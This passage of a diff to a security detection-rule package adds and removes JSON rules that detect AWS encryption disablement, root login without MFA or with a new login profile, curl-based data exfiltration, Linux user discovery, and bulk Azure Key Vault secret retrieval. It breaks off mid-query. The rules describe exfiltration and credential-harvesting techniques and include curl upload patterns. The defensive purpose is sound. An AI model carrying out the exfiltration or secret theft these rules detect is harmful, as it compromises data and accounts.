exposure risk**\n- Identify newly created or modified EBS volumes after the timestamp of this change. \n - Query CloudTrail for `CreateVolume` or `CreateSnapshot` events without `Encrypted:true`. \n- Determine whether sensitive workloads, such as production databases or applications, rely on unencrypted EBS volumes. \n- Check for `CopySnapshot` or `ModifySnapshotAttribute` activity that could indicate data staging or exfiltration.\n**Correlate related security events**\n- Look for concurrent detections or GuardDuty findings involving IAM privilege misuse, credential exposure, or configuration tampering. \n- Review CloudTrail logs for any `DisableKeyRotation` or `ScheduleKeyDeletion` events related to the KMS key used for EBS encryption. These may indicate attempts to disrupt encryption mechanisms entirely.\n- Review AWS Config timeline to confirm whether encryption-by-default was re-enabled or remained off.\n\n### False positive analysis\n\n- **Administrative changes**: System or cloud administrators may disable default encryption temporarily for troubleshooting or migration. Verify if the user identity, role, or automation process is part of a legitimate change. \n- **Infrastructure testing**: Non-production environments may disable encryption for cost or performance benchmarking. These should be tagged and excluded. \n- **Service misconfiguration**: Some provisioning frameworks or scripts may unintentionally disable encryption defaults during environment setup. Ensure automation code uses explicit encryption flags when creating resources.\n\nIf confirmed as expected, document the change request, implementation window, and user responsible for traceability.\n\n### Response and remediation\n\n**1. Containment and restoration**\n- Re-enable EBS encryption by default in the affected region to restore protection for new volumes:\n - Via AWS Console: EC2 \u2192 Account Attributes \u2192 EBS encryption \u2192 Enable by default. \n - Or via CLI/API: `enable-ebs-encryption-by-default`. \n- Audit recently created EBS volumes and snapshots. \n - Identify any unencrypted resources and re-encrypt them using KMS keys or snapshot-copy encryption workflows. \n- Verify that AWS Config rules and Security Hub controls related to EBS encryption (`ec2-ebs-encryption-by-default-enabled`) are enabled and compliant.\n**2. Investigate and scope**\n- Review IAM policies to ensure only designated administrators have the `ec2:DisableEbsEncryptionByDefault` permission. \n- Check for other regional encryption settings (e.g., S3 default encryption) that may have been modified by the same user or automation role. \n- Examine whether any new IAM roles or policies were added that allow similar encryption or security modifications.\n**3. Long-term hardening**\n- Enable organization-level service control policies (SCPs) to prevent future disabling of encryption-by-default across accounts. \n- Establish AWS Config conformance packs or Security Hub standards to continuously monitor this setting. \n- Integrate detection correlation (e.g., link EBS encryption disablement with subsequent unencrypted `CreateVolume` events) for improved alert fidelity.\n- Educate administrators on data protection implications and require change approvals for encryption-related settings.\n**4. Recovery validation**\n- After restoring encryption-by-default, validate the change in CloudTrail and AWS Config timelines. \n- Confirm that subsequent EBS volumes are created with `Encrypted:true`. \n- Conduct a short post-incident review to document root cause, impact, and lessons learned for compliance audits.\n\n### Additional information\n\n- **[AWS Incident Response Playbooks](https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/)**: guidance for investigating unauthorized access to modify account settings. \n- **[AWS Customer Playbook Framework](https://github.com/aws-samples/aws-customer-playbook-framework/)**: Example framework for customers to create, develop, and integrate security playbooks in preparation for potential attack scenarios when using AWS services\n- **AWS Documentation: [EBS Encryption at Rest](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html)**\n", + "query": "event.dataset:aws.cloudtrail and event.provider:ec2.amazonaws.com and event.action:DisableEbsEncryptionByDefault and event.outcome:success\n", + "references": [ + "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html", + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/disable-ebs-encryption-by-default.html", + "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DisableEbsEncryptionByDefault.html" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "bb9b13b2-1700-48a8-a750-b43b0a72ab69", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS EC2", + "Tactic: Impact", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0040", + "name": "Impact", + "reference": "https://attack.mitre.org/tactics/TA0040/" + }, + "technique": [ + { + "id": "T1565", + "name": "Data Manipulation", + "reference": "https://attack.mitre.org/techniques/T1565/", + "subtechnique": [ + { + "id": "T1565.001", + "name": "Stored Data Manipulation", + "reference": "https://attack.mitre.org/techniques/T1565/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 210 + }, + "id": "bb9b13b2-1700-48a8-a750-b43b0a72ab69_210", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/bc0c6f0d-dab0-47a3-b135-0925f0a333bc_209.json b/packages/security_detection_engine/kibana/security_rule/bc0c6f0d-dab0-47a3-b135-0925f0a333bc_209.json deleted file mode 100644 index 071a526824c..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/bc0c6f0d-dab0-47a3-b135-0925f0a333bc_209.json +++ /dev/null @@ -1,99 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies attempts to login to AWS as the root user without using multi-factor authentication (MFA). Amazon AWS best practices indicate that the root user should be protected by MFA.", - "false_positives": [ - "Some organizations allow login with the root user without MFA, however, this is not considered best practice by AWS and increases the risk of compromised credentials." - ], - "from": "now-60m", - "index": [ - "filebeat-*", - "logs-aws.cloudtrail-*" - ], - "interval": "10m", - "language": "kuery", - "license": "Elastic License v2", - "name": "AWS Root Login Without MFA", - "note": "## Triage and analysis\n\n### Investigating AWS Root Login Without MFA\n\nMulti-factor authentication (MFA) in AWS is a simple best practice that adds an extra layer of protection on top of your user name and password. With MFA enabled, when a user signs in to an AWS Management Console, they will be prompted for their user name and password, as well as for an authentication code from their AWS MFA device. Taken together, these multiple factors provide increased security for your AWS account settings and resources.\n\nFor more information about using MFA in AWS, access the [official documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa.html).\n\nThe AWS root account is the one identity that has complete access to all AWS services and resources in the account, which is created when the AWS account is created. AWS strongly recommends that you do not use the root user for your everyday tasks, even the administrative ones. Instead, adhere to the best practice of using the root user only to create your first IAM user. Then securely lock away the root user credentials and use them to perform only a few account and service management tasks. Amazon provides a [list of the tasks that require root user](https://docs.aws.amazon.com/general/latest/gr/root-vs-iam.html#aws_tasks-that-require-root).\n\nThis rule looks for attempts to log in to AWS as the root user without using multi-factor authentication (MFA), meaning the account is not secured properly.\n\n#### Possible investigation steps\n\n- Investigate other alerts associated with the user account during the past 48 hours.\n- Examine whether this activity is common in the environment by looking for past occurrences on your logs.\n- Consider the source IP address and geolocation for the calling user who issued the command. Do they look normal for the calling user?\n- Examine the commands, API calls, and data management actions performed by the account in the last 24 hours.\n- Contact the account owner and confirm whether they are aware of this activity.\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking access to servers,\nservices, and data accessed by the account in the last 24 hours.\n\n### False positive analysis\n\n- While this activity is not inherently malicious, the root account must use MFA. The security team should address any potential benign true positive (B-TP), as this configuration can risk the entire cloud environment.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Identify the services or servers involved criticality.\n - Work with your IT team to identify and minimize the impact on users.\n - Identify if the attacker is moving laterally and compromising other accounts, servers, or services.\n - Identify if there are any regulatory or legal ramifications related to this activity.\n- Configure multi-factor authentication for the user.\n- Follow security best practices [outlined](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/) by AWS.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).", - "query": "event.dataset:aws.cloudtrail and event.provider:signin.amazonaws.com and event.action:ConsoleLogin and\n aws.cloudtrail.user_identity.type:Root and\n aws.cloudtrail.console_login.additional_eventdata.mfa_used:false and\n event.outcome:success\n", - "references": [ - "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html" - ], - "related_integrations": [ - { - "integration": "cloudtrail", - "package": "aws", - "version": "^2.0.0" - } - ], - "required_fields": [ - { - "ecs": false, - "name": "aws.cloudtrail.console_login.additional_eventdata.mfa_used", - "type": "boolean" - }, - { - "ecs": false, - "name": "aws.cloudtrail.user_identity.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.dataset", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.outcome", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.provider", - "type": "keyword" - } - ], - "risk_score": 73, - "rule_id": "bc0c6f0d-dab0-47a3-b135-0925f0a333bc", - "setup": "The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.", - "severity": "high", - "tags": [ - "Domain: Cloud", - "Data Source: AWS", - "Data Source: Amazon Web Services", - "Data Source: AWS Route53", - "Use Case: Identity and Access Audit", - "Resources: Investigation Guide", - "Tactic: Privilege Escalation" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0004", - "name": "Privilege Escalation", - "reference": "https://attack.mitre.org/tactics/TA0004/" - }, - "technique": [ - { - "id": "T1078", - "name": "Valid Accounts", - "reference": "https://attack.mitre.org/techniques/T1078/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "query", - "version": 209 - }, - "id": "bc0c6f0d-dab0-47a3-b135-0925f0a333bc_209", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/be70614d-4295-473c-a953-582aef41c865_3.json b/packages/security_detection_engine/kibana/security_rule/be70614d-4295-473c-a953-582aef41c865_3.json new file mode 100644 index 00000000000..74401f1bcfb --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/be70614d-4295-473c-a953-582aef41c865_3.json @@ -0,0 +1,103 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects the use of curl to upload an archived file to an internet server. Threat actors often will collect data on a system and compress it in an archive file before exfiltrating the file back to their C2 server for review. Many threat actors have been seen utilizing curl to upload this archive file with the collected data to do this. Use of curl in this way while not inherently malicious should be considered highly abnormal and suspicious activity.", + "from": "now-9m", + "index": [ + "logs-endpoint.events.process*", + "logs-crowdstrike.fdr*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Potential Data Exfiltration Through Curl", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential Data Exfiltration Through Curl\n\nCurl is a command-line tool used for transferring data with URLs, commonly employed for legitimate data exchange tasks. However, adversaries can exploit curl to exfiltrate sensitive data by uploading compressed files to remote servers. The detection rule identifies suspicious curl usage by monitoring for specific command patterns and arguments indicative of data uploads, flagging abnormal activities for further investigation.\n\n### Possible investigation steps\n\n- Review the process command line to confirm the presence of suspicious arguments such as \"-F\", \"-T\", \"-d\", or \"--data*\" and check for any compressed file extensions like .zip, .gz, or .tgz being uploaded to an external server.\n- Investigate the parent process of the curl command to understand the context in which curl was executed, including the parent executable and its purpose.\n- Examine network logs to identify the destination IP address or domain to which the data was being uploaded, and assess whether it is a known or suspicious entity.\n- Check for any recent file creation or modification events on the host that match the compressed file types mentioned in the query, which could indicate data collection prior to exfiltration.\n- Correlate this event with other security alerts or logs from the same host to identify any patterns of behavior that might suggest a broader compromise or data exfiltration attempt.\n\n### False positive analysis\n\n- Legitimate data transfers using curl for system backups or data synchronization can trigger the rule. To manage this, identify and whitelist specific processes or scripts that are known to perform these tasks regularly.\n- Automated system updates or software installations that use curl to download and upload data might be flagged. Exclude these processes by verifying their source and adding them to an exception list if they are from trusted vendors.\n- Internal data transfers within a secure network that use curl for efficiency can be mistaken for exfiltration. Monitor the destination IP addresses and exclude those that are internal or known safe endpoints.\n- Developers or system administrators using curl for testing or development purposes may inadvertently trigger the rule. Educate these users on the potential alerts and establish a process for them to notify security teams of their activities to prevent unnecessary investigations.\n- Scheduled tasks or cron jobs that use curl for routine data uploads should be reviewed and, if deemed safe, added to an exception list to avoid repeated false positives.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further data exfiltration and contain the threat.\n- Terminate any suspicious curl processes identified by the detection rule to stop ongoing data transfers.\n- Conduct a forensic analysis of the affected system to identify any additional malicious activities or compromised data.\n- Change credentials and access keys that may have been exposed or used during the incident to prevent unauthorized access.\n- Notify the security operations team and relevant stakeholders about the incident for awareness and further action.\n- Review and update firewall and network security rules to block unauthorized outbound traffic, especially to suspicious or unknown external servers.\n- Implement enhanced monitoring and logging for curl usage and similar data transfer tools to detect and respond to future exfiltration attempts promptly.\n", + "query": "process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"ProcessRollup2\") and process.name == \"curl\" and\n?process.parent.executable != null and (process.args in (\"-F\", \"-T\", \"-d\") or process.args like \"--data*\") and \nprocess.command_line like~ (\"*@/*.zip*\", \"*@/*.gz*\", \"*@/*.tgz*\", \"*b64=@*\", \"*=<*\") and\nprocess.command_line like~ \"*http*\"\n", + "references": [ + "https://everything.curl.dev/usingcurl/uploads" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.command_line", + "type": "wildcard" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.executable", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "be70614d-4295-473c-a953-582aef41c865", + "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n\nElastic Defend integration does not collect environment variable logging by default.\nIn order to capture this behavior, this rule requires a specific configuration option set within the advanced settings of the Elastic Defend integration.\n #### To set up environment variable capture for an Elastic Agent policy:\n- Go to \u201cSecurity \u2192 Manage \u2192 Policies\u201d.\n- Select an \u201cElastic Agent policy\u201d.\n- Click \u201cShow advanced settings\u201d.\n- Scroll down or search for \u201clinux.advanced.capture_env_vars\u201d.\n- Enter the names of environment variables you want to capture, separated by commas.\n- For this rule the linux.advanced.capture_env_vars variable should be set to \"HTTP_PROXY,HTTPS_PROXY,ALL_PROXY\".\n- Click \u201cSave\u201d.\nAfter saving the integration change, the Elastic Agents running this policy will be updated and the rule will function properly.\nFor more information on capturing environment variables refer to the [helper guide](https://www.elastic.co/guide/en/security/current/environment-variable-capture.html).\n", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Exfiltration", + "Data Source: Elastic Defend", + "Resources: Investigation Guide", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0010", + "name": "Exfiltration", + "reference": "https://attack.mitre.org/tactics/TA0010/" + }, + "technique": [ + { + "id": "T1048", + "name": "Exfiltration Over Alternative Protocol", + "reference": "https://attack.mitre.org/techniques/T1048/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 3 + }, + "id": "be70614d-4295-473c-a953-582aef41c865_3", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/bf8c007c-7dee-4842-8e9a-ee534c09d205_6.json b/packages/security_detection_engine/kibana/security_rule/bf8c007c-7dee-4842-8e9a-ee534c09d205_6.json new file mode 100644 index 00000000000..6276e283d7a --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/bf8c007c-7dee-4842-8e9a-ee534c09d205_6.json @@ -0,0 +1,94 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "building_block_type": "default", + "description": "Identifies the use of built-in tools which adversaries may use to enumerate the system owner/user of a compromised system.", + "from": "now-119m", + "index": [ + "logs-endpoint.events.*", + "endgame-*", + "auditbeat-*", + "logs-auditd_manager.auditd-*", + "logs-crowdstrike.fdr*" + ], + "interval": "60m", + "language": "eql", + "license": "Elastic License v2", + "name": "System Owner/User Discovery Linux", + "query": "process where event.type == \"start\" and event.action in (\"exec\", \"exec_event\", \"executed\", \"process_started\", \"ProcessRollup2\") and \nprocess.name : (\"whoami\", \"w\", \"who\", \"users\", \"id\")\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "auditd_manager", + "version": "^1.0.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "bf8c007c-7dee-4842-8e9a-ee534c09d205", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Discovery", + "Rule Type: BBR", + "Data Source: Elastic Defend", + "Data Source: Elastic Endgame", + "Data Source: Auditd Manager", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0007", + "name": "Discovery", + "reference": "https://attack.mitre.org/tactics/TA0007/" + }, + "technique": [ + { + "id": "T1033", + "name": "System Owner/User Discovery", + "reference": "https://attack.mitre.org/techniques/T1033/" + }, + { + "id": "T1069", + "name": "Permission Groups Discovery", + "reference": "https://attack.mitre.org/techniques/T1069/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 6 + }, + "id": "bf8c007c-7dee-4842-8e9a-ee534c09d205_6", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/c04be7e0-b0fc-11ef-a826-f661ea17fbce_1.json b/packages/security_detection_engine/kibana/security_rule/c04be7e0-b0fc-11ef-a826-f661ea17fbce_1.json deleted file mode 100644 index d5316a9cf59..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/c04be7e0-b0fc-11ef-a826-f661ea17fbce_1.json +++ /dev/null @@ -1,60 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Detects when an AWS IAM login profile is added to a root user account and is self-assigned. Adversaries, with temporary access to the root account, may add a login profile to the root user account to maintain access even if the original access key is rotated or disabled.", - "from": "now-9m", - "language": "esql", - "license": "Elastic License v2", - "name": "AWS IAM Login Profile Added for Root", - "note": "## Investigating AWS IAM Login Profile Added for Root\n\nThis rule detects when a login profile is added to the AWS root account. Adding a login profile to the root account, especially if self-assigned, is highly suspicious as it might indicate an adversary trying to establish persistence in the environment.\n\n### Possible Investigation Steps\n\n- **Identify the Source and Context of the Action**:\n - Examine the `source.address` field to identify the IP address from which the request originated.\n - Check the geographic location (`source.address`) to determine if the access is from an expected or unexpected region.\n - Look at the `user_agent.original` field to identify the tool or browser used for this action.\n - For example, a user agent like `Mozilla/5.0` might indicate interactive access, whereas `aws-cli` or SDKs suggest scripted activity.\n\n- **Confirm Root User and Request Details**:\n - Validate the root user's identity through `aws.cloudtrail.user_identity.arn` and ensure this activity aligns with legitimate administrative actions.\n - Review `aws.cloudtrail.user_identity.access_key_id` to identify if the action was performed using temporary or permanent credentials. This access key could be used to pivot into other actions.\n\n- **Analyze the Login Profile Creation**:\n - Review the `aws.cloudtrail.request_parameters` and `aws.cloudtrail.response_elements` fields for details of the created login profile.\n - For example, confirm the `userName` of the profile and whether `passwordResetRequired` is set to `true`.\n - Compare the `@timestamp` of this event with other recent actions by the root account to identify potential privilege escalation or abuse.\n\n- **Correlate with Other Events**:\n - Investigate for related IAM activities, such as:\n - `CreateAccessKey` or `AttachUserPolicy` events targeting the root account.\n - Unusual data access, privilege escalation, or management console logins.\n - Check for any anomalies involving the same `source.address` or `aws.cloudtrail.user_identity.access_key_id` in the environment.\n\n- **Evaluate Policy and Permissions**:\n - Verify the current security policies for the root account:\n - Ensure password policies enforce complexity and rotation requirements.\n - Check if MFA is enforced on the root account.\n - Assess the broader IAM configuration for deviations from least privilege principles.\n\n### False Positive Analysis\n\n- **Routine Administrative Tasks**: Adding a login profile might be a legitimate action during certain administrative processes. Verify with the relevant AWS administrators if this event aligns with routine account maintenance or emergency recovery scenarios.\n\n- **Automation**: If the action is part of an approved automation process (e.g., account recovery workflows), consider excluding these activities from alerting using specific user agents, IP addresses, or session attributes.\n\n### Response and Remediation\n\n- **Immediate Access Review**:\n - Disable the newly created login profile (`aws iam delete-login-profile`) if it is determined to be unauthorized.\n - Rotate or disable the credentials associated with the root account to prevent further abuse.\n\n- **Enhance Monitoring and Alerts**:\n - Enable real-time monitoring and alerting for IAM actions involving the root account.\n - Increase the logging verbosity for root account activities.\n\n- **Review and Update Security Policies**:\n - Enforce MFA for all administrative actions, including root account usage.\n - Restrict programmatic access to the root account by disabling access keys unless absolutely necessary.\n\n- **Conduct Post-Incident Analysis**:\n - Investigate how the credentials for the root account were compromised or misused.\n - Strengthen the security posture by implementing account-specific guardrails and continuous monitoring.\n\n### Additional Resources\n\n- AWS documentation on [Login Profile Management](https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateLoginProfile.html).\n", - "query": "from logs-aws.cloudtrail* metadata _id, _version, _index\n| where\n // filter for CloudTrail logs from IAM\n event.dataset == \"aws.cloudtrail\"\n and event.provider == \"iam.amazonaws.com\"\n\n // filter for successful CreateLoginProfile API call\n and event.action == \"CreateLoginProfile\"\n and event.outcome == \"success\"\n\n // filter for Root member account\n and aws.cloudtrail.user_identity.type == \"Root\"\n\n // filter for an access key existing which sources from AssumeRoot\n and aws.cloudtrail.user_identity.access_key_id IS NOT NULL\n\n // filter on the request parameters not including UserName which assumes self-assignment\n and NOT TO_LOWER(aws.cloudtrail.request_parameters) LIKE \"*username*\"\n| keep\n @timestamp,\n aws.cloudtrail.request_parameters,\n aws.cloudtrail.response_elements,\n aws.cloudtrail.user_identity.type,\n aws.cloudtrail.user_identity.arn,\n aws.cloudtrail.user_identity.access_key_id,\n cloud.account.id,\n event.action,\n source.address\n", - "risk_score": 73, - "rule_id": "c04be7e0-b0fc-11ef-a826-f661ea17fbce", - "severity": "high", - "tags": [ - "Domain: Cloud", - "Data Source: AWS", - "Data Source: Amazon Web Services", - "Data Source: AWS IAM", - "Use Case: Identity and Access Audit", - "Tactic: Persistence", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0003", - "name": "Persistence", - "reference": "https://attack.mitre.org/tactics/TA0003/" - }, - "technique": [ - { - "id": "T1078", - "name": "Valid Accounts", - "reference": "https://attack.mitre.org/techniques/T1078/", - "subtechnique": [ - { - "id": "T1078.004", - "name": "Cloud Accounts", - "reference": "https://attack.mitre.org/techniques/T1078/004/" - } - ] - }, - { - "id": "T1098", - "name": "Account Manipulation", - "reference": "https://attack.mitre.org/techniques/T1098/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 1 - }, - "id": "c04be7e0-b0fc-11ef-a826-f661ea17fbce_1", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/c07f7898-5dc3-11f0-9f27-f661ea17fbcd_1.json b/packages/security_detection_engine/kibana/security_rule/c07f7898-5dc3-11f0-9f27-f661ea17fbcd_1.json deleted file mode 100644 index 0ca8dac5750..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/c07f7898-5dc3-11f0-9f27-f661ea17fbcd_1.json +++ /dev/null @@ -1,68 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies excessive secret or key retrieval operations from Azure Key Vault. This rule detects when a user principal retrieves secrets or keys from Azure Key Vault multiple times within a short time frame, which may indicate potential abuse or unauthorized access attempts. The rule focuses on high-frequency retrieval operations that deviate from normal user behavior, suggesting possible credential harvesting or misuse of sensitive information.", - "false_positives": [ - "Service accounts or applications that frequently access Azure Key Vault for configuration or operational purposes may trigger this rule.", - "Automated scripts or processes that retrieve secrets or keys for legitimate purposes, such as secret rotation or application configuration, may also lead to false positives.", - "Security teams performing routine audits or assessments that involve retrieving keys or secrets from Key Vaults may trigger this rule if they perform multiple retrievals in a short time frame." - ], - "from": "now-9m", - "interval": "8m", - "language": "esql", - "license": "Elastic License v2", - "name": "Excessive Secret or Key Retrieval from Azure Key Vault", - "note": "## Triage and analysis\n\n### Investigating Excessive Secret or Key Retrieval from Azure Key Vault\n\nAzure Key Vault is a cloud service that safeguards encryption keys and secrets like certificates, connection strings, and passwords. It is crucial for managing sensitive data in Azure environments. Unauthorized modifications to Key Vaults can lead to data breaches or service disruptions. This rule detects excessive secret or key retrieval operations from Azure Key Vault, which may indicate potential abuse or unauthorized access attempts.\n\n### Possible investigation steps\n- Review the `azure.platformlogs.identity.claim.upn` field to identify the user principal making the retrieval requests. This can help determine if the activity is legitimate or suspicious.\n- Check the `azure.platformlogs.identity.claim.appid` or `azure.platformlogs.identity.claim.appid_display_name` to identify the application or service making the requests. If the application is not recognized or authorized, it may indicate a potential security incident. It is plausible that the application is a FOCI compliant application, which are commonly abused by adversaries to evade security controls or conditional access policies.\n- Analyze the `azure.platformlogs.resource.name` field to determine which Key Vault is being accessed. This can help assess the impact of the retrieval operations and whether they target sensitive resources.\n- Review the `event.action` field to confirm the specific actions being performed, such as `KeyGet`, `SecretGet`, or `CertificateGet`. These actions indicate retrieval of keys, secrets, or certificates from the Key Vault.\n- Check the `source.ip` or `geo.*` fields to identify the source of the retrieval requests. Look for unusual or unexpected IP addresses, especially those associated with known malicious activity or geographic locations that do not align with the user's typical behavior.\n- Use the `time_window` field to analyze the frequency of retrieval operations. If multiple retrievals occur within a short time frame (e.g., within a few minutes), it may indicate excessive or suspicious activity.\n- Correlate the retrieval operations with other security events or alerts in the environment to identify any patterns or related incidents.\n- Triage the user with Entra ID sign-in logs to gather more context about their authentication behavior and any potential anomalies.\n\n### False positive analysis\n- Routine administrative tasks or automated scripts may trigger excessive retrievals, especially in environments where Key Vaults are heavily utilized for application configurations or secrets management. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals.\n- Legitimate applications or services may perform frequent retrievals of keys or secrets for operational purposes, such as configuration updates or secret rotation. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals.\n- Security teams may perform periodic audits or assessments that involve retrieving keys or secrets from Key Vaults. If this is expected behavior, consider adjusting the rule or adding exceptions for specific user principals or applications.\n- Some applications may require frequent access to keys or secrets for normal operation, leading to high retrieval counts. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals.\n\n### Response and remediation\n- Investigate the user principal making the excessive retrieval requests to determine if they are authorized to access the Key Vault and its contents. If the user is not authorized, take appropriate actions to block their access and prevent further unauthorized retrievals.\n- Review the application or service making the requests to ensure it is legitimate and authorized to access the Key Vault. If the application is unauthorized or suspicious, consider blocking it and revoking its permissions to access the Key Vault.\n- Assess the impact of the excessive retrieval operations on the Key Vault and its contents. Determine if any sensitive data was accessed or compromised during the retrievals.\n- Implement additional monitoring and alerting for the Key Vault to detect any further suspicious activity or unauthorized access attempts.\n- Consider implementing stricter access controls or policies for Key Vaults to limit excessive retrievals and ensure that only authorized users and applications can access sensitive keys and secrets.\n- Educate users and administrators about the risks associated with excessive retrievals from Key Vaults and encourage them to follow best practices for managing keys and secrets in Azure environments.\n", - "query": "FROM logs-azure.platformlogs-* METADATA _id, _index\n\n// Filter for Azure Key Vault read operations\n| WHERE event.dataset == \"azure.platformlogs\"\n AND event.action IN (\n \"VaultGet\",\n \"KeyGet\",\n \"KeyList\",\n \"KeyListVersions\",\n \"KeyGetDeleted\",\n \"KeyListDeleted\",\n \"SecretGet\",\n \"SecretList\",\n \"SecretListVersions\",\n \"SecretGetDeleted\",\n \"SecretListDeleted\",\n \"CertificateGet\",\n \"CertificateList\",\n \"CertificateListVersions\",\n \"CertificateGetDeleted\",\n \"CertificateListDeleted\",\n \"CertificatePolicyGet\",\n 